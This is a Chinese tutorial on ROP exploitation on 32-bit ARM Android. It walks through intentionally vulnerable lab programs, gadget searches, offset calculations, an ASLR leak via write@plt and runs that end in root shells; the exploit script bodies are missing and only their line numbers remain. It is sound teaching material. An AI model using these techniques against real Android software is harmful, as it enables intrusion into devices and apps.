0x00 序
ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术,可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。之前我们主要讨论了linux上的ROP攻击:
- 一步一步学ROP之linux_x86篇 http://drops.wooyun.org/tips/6597
- 一步一步学ROP之linux_x64篇 http://drops.wooyun.org/papers/7551
- 一步一步学ROP之gadgets和2free篇 http://drops.wooyun.org/binary/10638
在这次的教程中我们会带来arm上rop利用的技术,欢迎大家继续学习。
另外文中涉及代码可在我的github下载:
https://github.com/zhengmin1989/ROP_STEP_BY_STEP
0x01 ARM上的Buffer Overflow
作为一个程序员我们的目标是要会写所有语言的”hello world”。同样的,作为一个安全工程师,我们的目标是会exploit掉所有语言的buffer overflow。:)因为buffer overflow实在是太经典了,所以我们的arm篇也是从buffer overflow开始。
首先来看第一个程序 level6.c:
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void callsystem()
{
system("/system/bin/sh");
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
if (argc==2&&strcmp("passwd",argv[1])==0)
callsystem();
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
我们的目标是在不使用密码的情况下,获取到shell。为了减少难度,我们先将stack canary去掉(在JNI目录下建立Application.mk
并加入APP_CFLAGS += -fno-stack-protector
)。随后用ndk-build进行编译。然后将level6文件拷贝到"/data/local/tmp"
目录下。接下来我们把这个目标程序作为一个服务绑定到服务器的某个端口上,这里我们可以使用socat这个工具来完成。最后我们再做一个端口转发,准备工作就算完成了。基本命令如下:
ndk-build
adb push libs/armeabi/level6 /data/local/tmp/
adb shell
cd /data/local/tmp/
./socat TCP4-LISTEN:10001,fork EXEC:./level6
adb forward tcp:10001 tcp:10001
现在我们尝试连接一下:
$ nc 127.0.0.1 10001
Hello, World
发现工作正常。OK,那么我们开始进行BOF吧。
和之前的x86一样,我们先用pattern.py来确定溢出点的位置。我们用命令:
python pattern.py create 150
来生成一串测试用的150个字节的字符串:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
然后我们写一个py脚本来发送这串数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
|
但因为我们需要获取崩溃时pc的值,所以在发送数据前,我们先使用gdb加载上level6。
我们先在电脑上运行python脚本:
[pc]$ python test.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
…
然后在adb shell中用ps获取level6的pid,然后再挂载level6,然后用c继续:
[adb]# ./gdb --pid=4895
GNU gdb 6.7
Copyright (C) 2007 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
……
Loaded symbols for /system/lib/libm.so
0xb6eff268 in read () from /system/lib/libc.so
(gdb) c
Continuing.
然后我们再在电脑上输入回车,让脚本发送数据。然后我们就能够在gdb里看到崩溃的pc的值了:
Program received signal SIGSEGV, Segmentation fault.
0x41346540 in ?? ()
(gdb)
因为我们编译的level6默认是thumb模式,所以我们要在这个崩溃的地址上加个1:0x41346540+1 = 0x41346541
。然后用pattern.py计算一下溢出点的位置:
$ python pattern.py offset 0x41346541
hex pattern decoded as: Ae4A
132
OK,我们知道了溢出点的位置,接下来我们找一下返回的地址。其实利用的代码在程序中已经有了。我们只要将pc指向callsystem()这个函数地址即可。我们在ida中可以看到地址为0x00008554
:
因为callsystem()
被编译成了thumb指令,所以我们需要将地址+1,让pc知道这里的代码为thumb指令,最终exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
|
执行效果如下:
$ python level6.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] Switching to interactive mode
$ /system/bin/id
uid=0(root) gid=0(root) context=u:r:shell:s0
0x02 寻找thumb gadgets
下面我们来看第二个程序level7.c:
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
char *str="/system/bin/sh";
void callsystem()
{
system("id");
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
if (argc==2&&strcmp("passwd",argv[1])==0)
callsystem();
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
在这个程序里,我们即使知道密码,也仅仅只能执行”id”这个命令,我们的目标是获取到一个可以使用的shell,也就是执行system("/system/bin/sh")
。怎么办呢?这里我们就需要来寻找可利用的gadgets,先让r0指向"/system/bin/sh"
这个字符串的地址,然后再调用system()函数达到我们的目的。
如何寻找gadgets呢?虽然用ida或者objdump也可以进行查找,但比较费时费力,这里我推荐使用ROPGadget。因为level7默认会编译成thumb指令,所以我们也采用thumb模式查找gadgets:
$ ROPgadget --binary=./level7 --thumb | grep "ldr r0"
0x00008618 : add r0, pc ; b #0x862e ; ldr r0, [pc, #0x10] ; add r0, pc ; ldr r0, [r0] ; b #0x8634 ; movs r0, #0 ; pop {pc}
0x0000861e : add r0, pc ; ldr r0, [r0] ; b #0x862e ; movs r0, #0 ; pop {pc}
0x0000893e : add r3, sp, #0xc ; movs r1, #0 ; str r3, [sp] ; adds r3, r1, #0 ; bl #0x8916 ; ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc}
0x000090fe : add r3, sp, #0xc ; str r3, [sp] ; movs r2, #0xc ; adds r3, r1, #0 ; bl #0x8916 ; ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc}
0x000093ca : add sp, #0x10 ; pop {r4, pc} ; push {r3, lr} ; bl #0x911c ; ldr r0, [r0, #0x48] ; pop {r3, pc}
0x00008826 : add sp, r3 ; pop {r4, r5, r6, r7, pc} ; mov r8, r8 ; stc2 p15, c15, [r4], #-0x3fc ; ldr r0, [r0, #0x44] ; bx lr
……
在这些gadgets中,我们成功找到了一个gadget可以符合我们的要求:
0x0000894a : ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc}
接下来就是找system和"/system/bin/sh"
的地址,分别为0x00008404和000096C0:
要注意的是,因为system()
函数在plt区域,并没有被编译成thumb指令,而是普通的arm指令,因此并不需要将地址+1。最终level7.py如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
|
执行结果如下:
$ python level7.py
[+] Opening connection to 30.10.20.253 on port 10001: Done
[*] Switching to interactive mode
$ /system/bin/id
uid=0(root) gid=0(root) context=u:r:shell:s0
0x03 Android上的ASLR
Android上的ASLR其实伪ASLR,因为如果程序是由皆由zygote fork的,那么所有的系统library(libc
,libandroid_runtime
等)和dalvik - heap
的基址都会是相同的,并且和zygote的内存布局一模一样。比如我们随便看两个由zygote fork的进程:
root@hammerhead:/ # cat /proc/1698/maps
400e8000-400ed000 r-xp 00000000 b3:19 8201 /system/bin/app_process
400ed000-400ee000 r--p 00004000 b3:19 8201 /system/bin/app_process
400ee000-400ef000 rw-p 00005000 b3:19 8201 /system/bin/app_process
400ef000-400fe000 r-xp 00000000 b3:19 8248 /system/bin/linker
400fe000-400ff000 r-xp 00000000 00:00 0 [sigpage]
400ff000-40100000 r--p 0000f000 b3:19 8248 /system/bin/linker
40100000-40101000 rw-p 00010000 b3:19 8248 /system/bin/linker
40101000-40104000 rw-p 00000000 00:00 0
40104000-40105000 r--p 00000000 00:00 0
40105000-40106000 rw-p 00000000 00:00 0 [anon:libc_malloc]
40106000-40109000 r-xp 00000000 b3:19 49324 /system/lib/liblog.so
40109000-4010a000 r--p 00002000 b3:19 49324 /system/lib/liblog.so
4010a000-4010b000 rw-p 00003000 b3:19 49324 /system/lib/liblog.so
4010b000-40153000 r-xp 00000000 b3:19 49236 /system/lib/libc.so
40153000-40155000 r--p 00047000 b3:19 49236 /system/lib/libc.so
40155000-40158000 rw-p 00049000 b3:19 49236 /system/lib/libc.so
root@hammerhead:/ # cat /proc/1720/maps
400e8000-400ed000 r-xp 00000000 b3:19 8201 /system/bin/app_process
400ed000-400ee000 r--p 00004000 b3:19 8201 /system/bin/app_process
400ee000-400ef000 rw-p 00005000 b3:19 8201 /system/bin/app_process
400ef000-400fe000 r-xp 00000000 b3:19 8248 /system/bin/linker
400fe000-400ff000 r-xp 00000000 00:00 0 [sigpage]
400ff000-40100000 r--p 0000f000 b3:19 8248 /system/bin/linker
40100000-40101000 rw-p 00010000 b3:19 8248 /system/bin/linker
40101000-40104000 rw-p 00000000 00:00 0
40104000-40105000 r--p 00000000 00:00 0
40105000-40106000 rw-p 00000000 00:00 0 [anon:libc_malloc]
40106000-40109000 r-xp 00000000 b3:19 49324 /system/lib/liblog.so
40109000-4010a000 r--p 00002000 b3:19 49324 /system/lib/liblog.so
4010a000-4010b000 rw-p 00003000 b3:19 49324 /system/lib/liblog.so
4010b000-40153000 r-xp 00000000 b3:19 49236 /system/lib/libc.so
40153000-40155000 r--p 00047000 b3:19 49236 /system/lib/libc.so
40155000-40158000 rw-p 00049000 b3:19 49236 /system/lib/libc.so
可以看到地址都是一模一样的。这意味着什么呢?我们知道android上所有的app都是由zygote fork出来的,因此我们只要在自己的app上得到libc.so等库的地址就可以知道其他app上的地址了。
假设我们已经知道了目标app的libc.so在内存中的地址了,那么应该如何控制pc执行我们希望的rop呢?OK,现在我们现在来看level8.c:
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<dlfcn.h>
void getsystemaddr()
{
void* handle = dlopen("libc.so", RTLD_LAZY);
printf("%p\n",dlsym(handle,"system"));
fflush(stdout);
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
getsystemaddr();
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
这个程序会先输出system的地址,相当于我们已经获取了这个进程的内存布局了。接下来要做的就是在libc.so中寻找我们需要的gadgets和字符串地址。因为libc.so很大,我们完全不用担心找不到需要的gadgets,并且我们只需要控制一个r0即可。因此这些gadgets都能满足我们的需求:
0x00014f48 : ldr r0, [sp, #4] ; pop {r1, r2, r3, pc}
0x0002e404 : ldr r0, [sp, #4] ; pop {r2, r3, r4, r5, r6, pc}
0x00034ace : ldr r0, [sp] ; pop {r1, r2, r3, pc}
接下来就是在libc.so中找system()
和"/system/bin/sh"
的位置:
可以看到地址分别为0x000253A4
和0x0003F9B4
。当然了,就算获取了这些地址,我们也需要根据system()
在内存中的地址进行偏移量的计算才能够成功的找到gadgets和"/system/bin/sh"
在内存中的地址。除此之外,还要注意thumb指令和arm指令的转换问题。最终的exp level8.py如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
|
执行结果如下:
$ python level8.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
system_addr = 0xb6f1e3a5
gadget1 = 0xb6f2dacf
/system/bin/sh addr = 0xb6f389b4
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) context=u:r:shell:s0
0x04 Android上的information leak
在上面的例子中,我们假设已经知道了libc.so的基址了,但是如果我们是进行远程攻击,并且原程序中没有调用system()
函数怎么办?这意味着目标程序的内存布局对我们来说是随机的,我们并不能直接调用libc.so中的gadgets,因为我们并不知道libc.so在内存中的地址。其实这也是有办法的,我们首先需要一个information leak的漏洞来获取libc.so在内存中的地址,然后再控制pc去执行我们的rop。现在我们来看level9.c:
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<dlfcn.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
虽然程序非常简单,可用的gadgets很少。但好消息是我们发现除了程序本身的实现的函数之外,我们还可以使用write@plt()
函数。但因为程序本身并没有调用system()
函数,所以我们并不能直接调用system()
来获取shell。但其实我们有write@plt()
函数就够了,因为我们可以通过write@plt()
函数把write()
函数在内存中的地址也就是write.got给打印出来。既然write()
函数实现是在libc.so当中,那我们调用的write@plt()
函数为什么也能实现write()
功能呢? 这是因为android和linux类似采用了延时绑定技术,当我们调用write@plit()
的时候,系统会将真正的write()
函数地址link到got表的write.got中,然后write@plit()
会根据write.got 跳转到真正的write()
函数上去。(如果还是搞不清楚的话,推荐阅读潘爱民老师的《程序员的自我修养 - 链接、装载与库》这本书,潘老师是我主管的事情我才不会告诉你。。。)
因为system()
函数和write()
在libc.so中的offset(相对地址)是不变的,所以如果我们得到了write()
的地址并且拥有目标手机上的libc.so就可以计算出system()
在内存中的地址了。然后我们再将pc指针return回vulnerable_function()
函数,就可以进行第二次溢出攻击了,并且这一次我们知道了system()
在内存中的地址,就可以调用system()
函数来获取我们的shell了。
另外需要注意的是write()函数是三个参数,因此我们还需要控制r1和r2才行,刚好程序中有如下gadget可以满足我们的需求:
#0x0000863a : pop {r1, r2, r4, r5, r6, pc}
另外为了能再一次返回vulnerable_function()
,我们需要构造好执行完write函数后的栈的数据,让程序执行完ADD SP, SP
,#0x84
;POP {PC}
后,PC能再一次指向0x000084D8
。
最终的explevel9.py如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 |
|
执行exp的结果如下:
$ python level9.py
[+] Opening connection to 30.10.20.253 on port 10001: Done
write_addr=0xb6f27280
r0=0xb6f469b4
system_addr=0xb6f2c3a5
[*] Switching to interactive mode
$ /system/bin/id
uid=0(root) gid=0(root) context=u:r:shell:s0
0x05 Android ROP调试技巧
因为gdb对thumb指令的解析并不好,所以我还是推荐用ida来进行调试。如果你还不会用ida,可以先看一下我之前写的关于ida调试的文章:
安卓动态调试七种武器之孔雀翎– Ida pro
http://drops.wooyun.org/tips/6840
除此之外,还有个很重要的技巧就是如何让ida正确的解析指令。ida在很多时候并不知道需要解析的指令是thumb还是arm,有时候甚至都不知道是啥内容。
比如图中是libc.so中system的代码:
这段代码其实是thumb指令,但是我们怎么样才能让ida解析正确呢?方法就是用鼠标选中0xB6EE03A4
,然后按alt+g
键,然后将value
改成0x1
。这样的话,ida就会按照thumb指令来解析这段数据了。
我们随后选中那块数据然后按c键,就可以看到指令被正确的解析了。
0x06 总结
我们这篇文章介绍了32位android的ROP。在下一篇中我会继续带来64位arm和iOS上ROP的利用技巧,欢迎大家继续学习。另外文中涉及代码可在我的github下载: